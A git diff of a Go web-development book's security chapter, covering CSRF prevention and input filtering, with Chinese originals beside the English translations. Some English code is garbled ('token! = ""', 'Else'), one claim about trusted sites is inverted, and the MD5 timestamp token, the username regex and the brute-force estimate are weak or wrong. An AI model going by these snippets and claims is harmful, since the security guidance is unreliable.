we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In section 9.6 we will describe how to perform both one-way and two-way encryption. + + +## Links +- [Directory](preface.md) +- Previous Chapter: [Chapter 8 Summary](08.5.md) +- Next section: [CSRF attacks](09.1.md) diff --git a/en/09.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..2fed2b37 --- /dev/null +++ b/en/09.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,20 @@ +# 9 安全与加密 +无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者,对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件,更是让我们对Web安全这个话题更加重视,所有人都谈密码色变,都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者,一定也需要知道我们的应用程序随时会成为众多攻击者的目标,并提前做好防范的准备。 + +很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据,在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端,就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询,那么就可能造成SQL注入问题,我们将会在9.3、9.4小节介绍如何避免这些问题。 + +在使用第三方提供的数据,包括用户提供的数据时,首先检验这些数据的合法性非常重要,这个过程叫做过滤,我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。 + +过滤输入和转义输出并不能解决所有的安全问题,我们将会在9.1讲解的CSRF攻击,会导致受骗者发送攻击者指定的请求从而造成一些破坏。 + +与安全加密相关的,能够增强我们的Web应用程序的强大手段就是加密,CSDN泄密事件就是因为密码保存的是明文,使得攻击拿手库之后就可以直接实施一些破坏行为了。不过,和其他工具一样,加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。 + +加密的本质就是扰乱数据,某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式,也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。 + +## 目录 + ![](images/navi9.png?raw=true) + +## links + * [目录]() + * 上一章: [第八章总结](<08.5.md>) + * 下一节: [预防CSRF攻击](<09.1.md>) diff --git a/en/09.1.md b/en/09.1.md index c5a69115..be1c4a29 100644 --- a/en/09.1.md +++ b/en/09.1.md @@ -1,93 +1,97 @@ -# 9.1 预防CSRF攻击 - -## 什么是CSRF -CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。 - -那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。 - -所以遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。 - -## CSRF的原理 -下图简单阐述了CSRF攻击的思想 - -![](images/9.1.csrf.png?raw=true) - -图9.1 CSRF的攻击过程 - -从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 : - -- 1.登录受信任网站A,并在本地生成Cookie 。 -- 2.在不退出A的情况下,访问危险网站B。 - -看到这里,读者也许会问:“如果我不满足以上两个条件中的任意一个,就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生: - -- 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站,特别现在浏览器都是支持多tab的。 -- 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。 -- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 - -因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。 - -CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。 - -## 如何预防CSRF -过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。 - -CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。 - -服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手: - -- 1、正确使用GET,POST和Cookie; -- 2、在非GET请求中增加伪随机数; - -我们上一章介绍过REST方式的Web应用,一般而言,普通的Web应用都是以GET、POST为主,还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用: - -1、GET常用在查看,列举,展示等不需要改变资源属性的时候; - -2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情; - -接下来我就以Go语言来举例说明,如何限制对资源的访问方法: - - mux.Get("/user/:uid", getuser) - mux.Post("/user/:uid", modifyuser) - -这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。 - -因此我们需要实施第二步,在非GET方式的请求中增加随机数,这个大概有三种方式来进行: - -- 为每个用户生成一个唯一的cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。 -- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。 -- 不同的表单包含一个不同的伪随机值,我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下: - -生成随机数token - - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - io.WriteString(h, "ganraomaxxxxxxxxx") - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) - -输出token - - - -验证token - - r.ParseForm() - token := r.Form.Get("token") - if token != "" { - //验证token的合法性 - } else { - //不存在token报错 - } - -这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。 - -## 总结 -跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。 - -## links - * [目录]() - * 上一节: [安全与加密](<09.0.md>) - * 下一节: [确保输入过滤](<09.2.md>) +# 9.1 CSRF attacks + +## What is CSRF? + +CSRF and XSRF both stand for "Cross-site request forgery". It's also known as a "one click attack" or "session riding". + +So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here's a simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links to victims targeted at their user's online banking website. If the victim logs into their online bank account and does not exit, then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user's bank account funds. + +When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web application. + +## CSRF principle + +The following diagram provides a simple overview of ​​a CSRF attack + +![](images/9.1.csrf.png?raw=true) + +Figure 9.1 CSRF attack process. + +As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps: + +-1. Log into trusted site A, and store a local Cookie. +-2. Without going through existing site A, access the dangerous link to site B. + +As a reader you may be asking: "If I do not meet the above two conditions, I will will not be subjected to CSRF attacks." Yes this is true, however you cannot guarantee that the following does not occur: + +- You cannot guarantee that when you are logged into a site, the site didn't launch any hidden tabs. +- You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session will have ended. +- Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks. + +Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in the form of a CSRF attack. + +CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably guarantee that a request originates from a user's browser, there is no guarantee that the user granted approval for the request. + +## How to prevent CSRF attacks + +You might be a little scared after reading the section above. But fear is a good thing. It will force you educate yourself on how to prevent vulnerabilities like this from happening to you. + +Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application. However, CSRF attacks are most effectively thwarted on the server side. + +There are many ways of preventing CSRF attacks are the server side. Most approaches stem from from the following two aspects: + +1. Maintaining proper use of GET, POST and cookies. +2. Including a pseudo-random number with non-GET requests. + +In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and that cookies were included along with these requests. We generally design application as according to the following principles: + +1. GET is commonly used to view information without altering any data. + +2. POST is used in placing orders, changing the properties of a resource or performing other tasks. + +I'm now going to use the Go language to illustrate how to restrict access to resources methods: + + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + +Since we've stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented. Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged. + +We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-random number included with the request. This usually involves steps: + +- For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any form that an attacker may submit will fail the validation process without knowing what the random value is. +- Different forms contain different pseudo-random values, as we've introduced in section 4.4, "How to prevent multiple form submission". We can reuse the relevant code from that section suit our needs: + +Generating a random number token: + + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + io.WriteString(h, "ganraomaxxxxxxxxx") + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + + +Output token: + + + +Authentication token: + + r.ParseForm() + token := r.Form.Get("token") + if token! = "" { + // Verification token of legitimacy + } Else { + // Error token does not exist + } + +We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th time. + +## Summary + +Cross-site request forgery, otherwise known as CSRF, is a very dangerous web security threat. It is known in web security circles as a "sleeping giant" security issue; as you can tell, CSRF attacks have quite the reputation. This section not only introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure web applications. + +## Links +- [Directory](preface.md) +- Previous section: [Security and encryption](09.0.md) +- Next section: [Filter inputs](09.2.md) diff --git a/en/09.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..6f7c95af --- /dev/null +++ b/en/09.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,93 @@ +# 9.1 预防CSRF攻击 + +## 什么是CSRF +CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。 + +那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。 + +所以遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。 + +## CSRF的原理 +下图简单阐述了CSRF攻击的思想 + +![](images/9.1.csrf.png?raw=true) + +图9.1 CSRF的攻击过程 + +从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 : + +- 1.登录受信任网站A,并在本地生成Cookie 。 +- 2.在不退出A的情况下,访问危险网站B。 + +看到这里,读者也许会问:“如果我不满足以上两个条件中的任意一个,就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生: + +- 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站,特别现在浏览器都是支持多tab的。 +- 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。 +- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 + +因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。 + +CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。 + +## 如何预防CSRF +过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。 + +CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。 + +服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手: + +- 1、正确使用GET,POST和Cookie; +- 2、在非GET请求中增加伪随机数; + +我们上一章介绍过REST方式的Web应用,一般而言,普通的Web应用都是以GET、POST为主,还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用: + +1、GET常用在查看,列举,展示等不需要改变资源属性的时候; + +2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情; + +接下来我就以Go语言来举例说明,如何限制对资源的访问方法: + + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + +这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。 + +因此我们需要实施第二步,在非GET方式的请求中增加随机数,这个大概有三种方式来进行: + +- 为每个用户生成一个唯一的cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。 +- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。 +- 不同的表单包含一个不同的伪随机值,我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下: + +生成随机数token + + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + io.WriteString(h, "ganraomaxxxxxxxxx") + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + +输出token + + + +验证token + + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + //验证token的合法性 + } else { + //不存在token报错 + } + +这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。 + +## 总结 +跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。 + +## links + * [目录]() + * 上一节: [安全与加密](<09.0.md>) + * 下一节: [确保输入过滤](<09.2.md>) diff --git a/en/09.2.md b/en/09.2.md index b3c66cfd..1af7f49d 100644 --- a/en/09.2.md +++ b/en/09.2.md @@ -1,72 +1,78 @@ -# 9.2 确保输入过滤 -过滤用户数据是Web应用安全的基础。它是验证数据合法性的过程。通过对所有的输入数据进行过滤,可以避免恶意数据在程序中被误信或误用。大多数Web应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。 - -我们介绍的过滤数据分成三个步骤: - -- 1、识别数据,搞清楚需要过滤的数据来自于哪里 -- 2、过滤数据,弄明白我们需要什么样的数据 -- 3、区分已过滤及被污染数据,如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据 - -## 识别数据 -“识别数据”作为第一步是因为在你不知道“数据是什么,它来自于哪里”的前提下,你也就不能正确地过滤它。这里的数据是指所有源自非代码内部提供的数据。例如:所有来自客户端的数据,但客户端并不是唯一的外部数据源,数据库和第三方提供的接口数据等也可以是外部数据源。 - -由用户输入的数据我们通过Go非常容易识别,Go通过`r.ParseForm`之后,把用户POST和GET的数据全部放在了`r.Form`里面。其它的输入要难识别得多,例如,`r.Header`中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入,所以,最好的方法是把里面所有的数据都看成是用户输入。(例如`r.Header.Get("Accept-Charset")`这样的也看做是用户输入,虽然这些大多数是浏览器操纵的) - -## 过滤数据 -在知道数据来源之后,就可以过滤它了。过滤是一个有点正式的术语,它在平时表述中有很多同义词,如验证、清洁及净化。尽管这些术语表面意义不同,但它们都是指的同一个处理:防止非法数据进入你的应用。 - -过滤数据有很多种方法,其中有一些安全性较差。最好的方法是把过滤看成是一个检查的过程,在你使用数据之前都检查一下看它们是否是符合合法数据的要求。而且不要试图好心地去纠正非法数据,而要让用户按你制定的规则去输入数据。历史证明了试图纠正非法数据往往会导致安全漏洞。这里举个例子:“最近建设银行系统升级之后,如果密码后面两位是0,只要输入前面四位就能登录系统”,这是一个非常严重的漏洞。 - -过滤数据主要采用如下一些库来操作: - -- strconv包下面的字符串转化相关函数,因为从Request中的`r.Form`返回的是字符串,而有些时候我们需要将之转化成整/浮点数,`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt`等函数就可以派上用场了。 -- string包下面的一些过滤函数`Trim`、`ToLower`、`ToTitle`等函数,能够帮助我们按照指定的格式获取信息。 -- regexp包用来处理一些复杂的需求,例如判定输入是否是Email、生日之类。 - -过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即假定你正在检查的数据都是非法的,除非能证明它是合法的。使用这个方法,如果出现错误,只会导致把合法的数据当成是非法的,而不会是相反,尽管我们不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。 - -## 区分过滤数据 -如果完成了上面的两步,数据过滤的工作就基本完成了,但是在编写Web应用的时候我们还需要区分已过滤和被污染数据,因为这样可以保证过滤数据的完整性,而不影响输入的数据。我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入: -- 每个请求都要初始化CleanMap为一个空Map。 -- 加入检查及阻止来自外部数据源的变量命名为CleanMap。 - -接下来,让我们通过一个例子来巩固这些概念,请看下面这个表单 - -
- 我是谁: - - -
- -在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作,递交`name=attack`这样的数据,所以在此时我们需要做类似白名单的处理 - - r.ParseForm() - name := r.Form.Get("name") - CleanMap := make(map[string]interface{}, 0) - if name == "astaxie" || name == "herry" || name == "marry" { - CleanMap["name"] = name - } - -上面代码中我们初始化了一个CleanMap的变量,当判断获取的name是`astaxie`、`herry`、`marry`三个中的一个之后 -,我们把数据存储到了CleanMap之中,这样就可以确保CleanMap["name"]中的数据是合法的,从而在代码的其它部分使用它。当然我们还可以在else部分增加非法数据的处理,一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。 - -上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成: - - r.ParseForm() - username := r.Form.Get("username") - CleanMap := make(map[string]interface{}, 0) - if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { - CleanMap["username"] = username - } - -## 总结 -数据过滤在Web安全中起到一个基石的作用,大多数的安全问题都是由于没有过滤数据和验证数据引起的,例如前面小节的CSRF攻击,以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的,因此我们需要特别重视这部分的内容。 - -## links - * [目录]() - * 上一节: [预防CSRF攻击](<09.1.md>) - * 下一节: [避免XSS攻击](<09.3.md>) +# 9.2 Filtering inputs + +Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most web application vulnerabilities arise form neglecting to filter input data and naively trusting it. + +Our introduction to filtering data is divided into three steps: + +1. identifying the data; we need to filter the data to figure out where it originated form +2. filtering of the data itself; we need to figure out what kind of data we have received +3. distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is is secure + +## Identifying data + +"Identifying the data" is our first step because most of the time, as mentioned, we don't know where it originates from. Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data comes from clients, however clients that are users are not the only external sources of data. A database interface providing third party data could also be an external data source. + +Data that has been entered by a user is very easy to recognize in Go. We use `r.ParseForm` after the user POSTs a form to get all of the data inside the `r.Form`. Other types of input are much harder to identify. For example in `r.Header`s, many of the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been manipulated by clients, so it's best to consider all of them as having been tainted. The `r.Header.Get("Accept-Charset")` header field, for instance, is also considered as user input, although these are typically only manipulated by browsers. + +## Filtering data + +If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms somewhat differ in their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your applications. + +There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not the data itself meets the legal requirements dictated by your application. When attempting to do so, it's very important not to make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to correct invalid data often leads to security vulnerabilities. Let's take a look at an overly simple example for illustration purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: "If a password is shorter than the legal length, fill in the remaining digits with 0s". This simple rule would allow attackers to guess just the first few digits of a password to successfully gain access to user accounts! + +We can use several libraries to help us to filter data: + +- The strconv package can help us to convert user inputed strings into specific types, since `r.Form`s are maps of string values. Some common string conversions provided by strconv are `Atoi`, `ParseBool`, ` ParseFloat ` and `ParseInt`. +- Go's `strings` package contains some filter functions like `Trim`, `ToLower` and `ToTitle`, which can help us to obtain data in a specific formats, according to our needs. +- Go's `regexp` package can be used to handle cases which are more complex in nature, such as determining whether an input is an email address, a birthday, etc. + +Filtering incoming data in addition to authentication can be quite effective. Let's add another technique to our repertoire, called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don't want to make any mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being labeled as legitimate, and thus much more secure. + +## Distinguishing between filtered and tainted data + +If you have completed the above steps, the job of filtering data has basically been completed. However when writing web applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of our data filtering process without affecting the input data. Let's put all of our filtered data into a global map variable called `CleanMap`. Then, two important steps are required to prevent contamination via data injection: + +- Each request must initialize `CleanMap` as an empty map. +- Prevent variables from external data sources named `CleanMap` from being introduced into the app. + +Next, let's use an example form to reinforce these concepts: + +
+ Who am I: + + +
+ +In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit one of the three `select` options. In fact, POST operations can easily be simulated by attackers. For example, by submitting the same form with `name = attack`, a malicious user could introduce illegal data into our system. We can use a simple whitelist to counter these types of attacks: + + r.ParseForm() + name := r.Form.Get("name") + CleanMap := make(map[string]interface{}, 0) + if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name + } + +The above code initializes a `CleanMap` variable, and a name is only assigned after checking it against an internal whitelist of legitimate values (`astaxie`, `herry` and `marry` in this case). We store the data in the `CleanMap` instance so you can be sure that `CleanMap["name"]` holds a validated value. Any code wishing to access this value can then freely do so. We can also add an additional `else` statement to the above `if` whitelist for dealing with illegal data, a possibility being that the form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally contaminating your `CleanMap`. + +The above method for filtering data against a set of known, legitimate values is very effective. There is another method for checking whether or not incoming data consists of legal characters using `regexp`, however this would be ineffectual in the above case where we require that the name be an option from the select. For example, you may require that user names only consist of letters and numbers: + + r.ParseForm() + username := r.Form.Get("username") + CleanMap := make(map[string]interface{}, 0) + if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { + CleanMap["username"] = username + } + +## Summary + +Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with as important a topic as data sanitization, so in this section, we paid special attention to it. + +## Links + +- [Directory](preface.md) +- Previous section: [CSRF attacks](09.1.md) +- Next section: [XSS attacks](09.3.md) diff --git a/en/09.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..e3b1d55a --- /dev/null +++ b/en/09.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,72 @@ +# 9.2 确保输入过滤 +过滤用户数据是Web应用安全的基础。它是验证数据合法性的过程。通过对所有的输入数据进行过滤,可以避免恶意数据在程序中被误信或误用。大多数Web应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。 + +我们介绍的过滤数据分成三个步骤: + +- 1、识别数据,搞清楚需要过滤的数据来自于哪里 +- 2、过滤数据,弄明白我们需要什么样的数据 +- 3、区分已过滤及被污染数据,如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据 + +## 识别数据 +“识别数据”作为第一步是因为在你不知道“数据是什么,它来自于哪里”的前提下,你也就不能正确地过滤它。这里的数据是指所有源自非代码内部提供的数据。例如:所有来自客户端的数据,但客户端并不是唯一的外部数据源,数据库和第三方提供的接口数据等也可以是外部数据源。 + +由用户输入的数据我们通过Go非常容易识别,Go通过`r.ParseForm`之后,把用户POST和GET的数据全部放在了`r.Form`里面。其它的输入要难识别得多,例如,`r.Header`中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入,所以,最好的方法是把里面所有的数据都看成是用户输入。(例如`r.Header.Get("Accept-Charset")`这样的也看做是用户输入,虽然这些大多数是浏览器操纵的) + +## 过滤数据 +在知道数据来源之后,就可以过滤它了。过滤是一个有点正式的术语,它在平时表述中有很多同义词,如验证、清洁及净化。尽管这些术语表面意义不同,但它们都是指的同一个处理:防止非法数据进入你的应用。 + +过滤数据有很多种方法,其中有一些安全性较差。最好的方法是把过滤看成是一个检查的过程,在你使用数据之前都检查一下看它们是否是符合合法数据的要求。而且不要试图好心地去纠正非法数据,而要让用户按你制定的规则去输入数据。历史证明了试图纠正非法数据往往会导致安全漏洞。这里举个例子:“最近建设银行系统升级之后,如果密码后面两位是0,只要输入前面四位就能登录系统”,这是一个非常严重的漏洞。 + +过滤数据主要采用如下一些库来操作: + +- strconv包下面的字符串转化相关函数,因为从Request中的`r.Form`返回的是字符串,而有些时候我们需要将之转化成整/浮点数,`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt`等函数就可以派上用场了。 +- string包下面的一些过滤函数`Trim`、`ToLower`、`ToTitle`等函数,能够帮助我们按照指定的格式获取信息。 +- regexp包用来处理一些复杂的需求,例如判定输入是否是Email、生日之类。 + +过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即假定你正在检查的数据都是非法的,除非能证明它是合法的。使用这个方法,如果出现错误,只会导致把合法的数据当成是非法的,而不会是相反,尽管我们不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。 + +## 区分过滤数据 +如果完成了上面的两步,数据过滤的工作就基本完成了,但是在编写Web应用的时候我们还需要区分已过滤和被污染数据,因为这样可以保证过滤数据的完整性,而不影响输入的数据。我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入: +- 每个请求都要初始化CleanMap为一个空Map。 +- 加入检查及阻止来自外部数据源的变量命名为CleanMap。 + +接下来,让我们通过一个例子来巩固这些概念,请看下面这个表单 + +
+ 我是谁: + + +
+ +在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作,递交`name=attack`这样的数据,所以在此时我们需要做类似白名单的处理 + + r.ParseForm() + name := r.Form.Get("name") + CleanMap := make(map[string]interface{}, 0) + if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name + } + +上面代码中我们初始化了一个CleanMap的变量,当判断获取的name是`astaxie`、`herry`、`marry`三个中的一个之后 +,我们把数据存储到了CleanMap之中,这样就可以确保CleanMap["name"]中的数据是合法的,从而在代码的其它部分使用它。当然我们还可以在else部分增加非法数据的处理,一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。 + +上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成: + + r.ParseForm() + username := r.Form.Get("username") + CleanMap := make(map[string]interface{}, 0) + if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { + CleanMap["username"] = username + } + +## 总结 +数据过滤在Web安全中起到一个基石的作用,大多数的安全问题都是由于没有过滤数据和验证数据引起的,例如前面小节的CSRF攻击,以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的,因此我们需要特别重视这部分的内容。 + +## links + * [目录]() + * 上一节: [预防CSRF攻击](<09.1.md>) + * 下一节: [避免XSS攻击](<09.3.md>) diff --git a/en/09.3.md b/en/09.3.md index 